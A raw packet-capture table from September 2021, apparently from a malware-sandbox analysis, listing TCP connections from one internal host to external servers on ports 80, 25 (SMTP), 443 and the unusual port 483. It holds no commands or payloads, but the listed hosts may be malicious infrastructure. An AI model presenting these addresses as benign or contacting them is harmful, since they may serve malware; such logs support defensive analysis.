Sep 7, 2021 16:03:08.073307991 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073318005 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073339939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073349953 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073365927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073388100 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073388100 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073410034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073431015 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073434114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073456049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073477030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073482037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073501110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073523045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.146517038 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146552086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146576881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146593094 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146599054 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.146614075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146637917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146639109 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.146662951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146684885 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.146687984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146709919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146716118 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.146739960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146765947 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146771908 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.146791935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.146801949 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.146836042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.162811041 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.167716980 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.349179983 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.422750950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.926944971 CEST	49775	25	192.168.2.4	40.93.207.1
Sep 7, 2021 16:03:09.033252001 CEST	25	49775	40.93.207.1	192.168.2.4
Sep 7, 2021 16:03:09.033613920 CEST	49775	25	192.168.2.4	40.93.207.1
Sep 7, 2021 16:03:09.034157038 CEST	49775	25	192.168.2.4	40.93.207.1
Sep 7, 2021 16:03:09.139081001 CEST	25	49775	40.93.207.1	192.168.2.4
Sep 7, 2021 16:03:09.170931101 CEST	25	49775	40.93.207.1	192.168.2.4
Sep 7, 2021 16:03:09.171097994 CEST	49775	25	192.168.2.4	40.93.207.1
Sep 7, 2021 16:03:09.171694994 CEST	25	49775	40.93.207.1	192.168.2.4
Sep 7, 2021 16:03:09.173964024 CEST	49775	25	192.168.2.4	40.93.207.1
Sep 7, 2021 16:03:11.457098961 CEST	49776	443	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:11.524559021 CEST	443	49776	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:11.524796963 CEST	49776	443	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:11.609143019 CEST	443	49776	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:11.611131907 CEST	49776	443	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:11.678028107 CEST	443	49776	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:11.695688009 CEST	443	49776	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:11.712475061 CEST	443	49776	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:11.712613106 CEST	49776	443	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:11.714077950 CEST	49776	443	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:11.780920029 CEST	443	49776	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:11.828056097 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:11.899197102 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:11.899328947 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.004744053 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.005004883 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.075973988 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.098956108 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.112040997 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.112080097 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.183784008 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.230984926 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.280169010 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.357747078 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.483360052 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.672669888 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.672743082 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.672838926 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.744172096 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.816783905 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.816811085 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.816834927 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.816858053 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.816884041 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.816910028 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.816910982 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.816926003 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.817715883 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.818341017 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.818371058 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.818388939 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.818442106 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.818480968 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.887780905 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.888012886 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.888045073 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.888068914 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.888083935 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.888093948 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.888118029 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.888123035 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.888160944 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.895365000 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895634890 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895653963 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895674944 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895697117 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895719051 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.895724058 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895745039 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895762920 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895771980 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.895785093 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895798922 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.895807981 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895819902 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.895833969 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895854950 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895864964 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.895878077 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895900011 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.895910025 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.895957947 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.959012985 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959070921 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959136009 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.959562063 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959594011 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959618092 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959635973 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959654093 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959671974 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959695101 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959712982 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959728003 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.959738016 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959748983 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.959765911 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.959768057 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.959820986 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.966662884 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.967897892 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968303919 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968313932 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968343019 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968367100 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968390942 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968400955 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968415022 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968437910 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968441963 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968461990 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968485117 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968491077 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968509912 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968535900 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968537092 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968560934 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968583107 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968591928 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968606949 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968630075 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968631983 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968652010 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968673944 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968679905 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968698978 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968724966 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968725920 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968749046 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968770027 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968795061 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968806982 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968818903 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968831062 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968843937 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968866110 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968875885 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968889952 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968914986 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:12.968916893 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:12.968960047 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.029858112 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.029884100 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.029906034 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.029930115 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030019045 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.030333996 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030364990 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030386925 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030410051 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030443907 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.030471087 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030482054 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.030498981 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030518055 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030543089 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.030591965 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030615091 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030636072 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.030637980 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030662060 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030679941 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.030683041 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030705929 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030720949 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.030728102 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030754089 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030777931 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030780077 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.030800104 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.030819893 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.039819002 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.039860010 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.039884090 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.039904118 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.039905071 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.039921999 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.039944887 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.039946079 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.039968014 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.039977074 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.039994001 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040014982 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040018082 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040040016 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040061951 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040065050 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040085077 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040102959 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040118933 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040124893 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040147066 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040149927 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040174007 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040189028 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040196896 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040224075 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040245056 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040266991 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040278912 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040291071 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040316105 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040328026 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040338039 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040352106 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040359020 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040369987 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040380001 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040400982 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040419102 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.040422916 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040446043 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.040456057 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.100960970 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101005077 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101026058 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101048946 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101053953 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.101083994 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.101208925 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101238012 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101260900 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101267099 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.101284981 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101304054 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.101306915 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101332903 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101345062 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.101449966 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101495028 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.101521015 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101546049 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101567984 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101584911 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.101591110 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101613045 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101633072 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.101639986 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101663113 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.101677895 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111315012 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111351013 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111372948 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111393929 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111394882 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111416101 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111423016 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111440897 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111457109 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111465931 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111486912 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111509085 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111509085 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111531973 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111552954 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111560106 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111577034 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111601114 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111610889 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111627102 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111650944 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111653090 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111673117 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111694098 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111695051 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111716032 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111737013 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111738920 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111761093 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111778975 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111782074 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111800909 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111819983 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111839056 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111857891 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111882925 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111882925 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111907005 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111915112 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.111929893 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.111958981 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.161990881 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.171833992 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.171870947 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.171891928 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.171911955 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.171924114 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.171966076 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.171982050 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.171991110 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172013998 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172035933 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172055960 CEST	483	49777	193.56.146.188	192.168.2.4
Sep 7, 2021 16:03:13.172060966 CEST	49777	483	192.168.2.4	193.56.146.188
Sep 7, 2021 16:03:13.172071934 CEST	49777	483	192.168.2.4	193.56.146.188
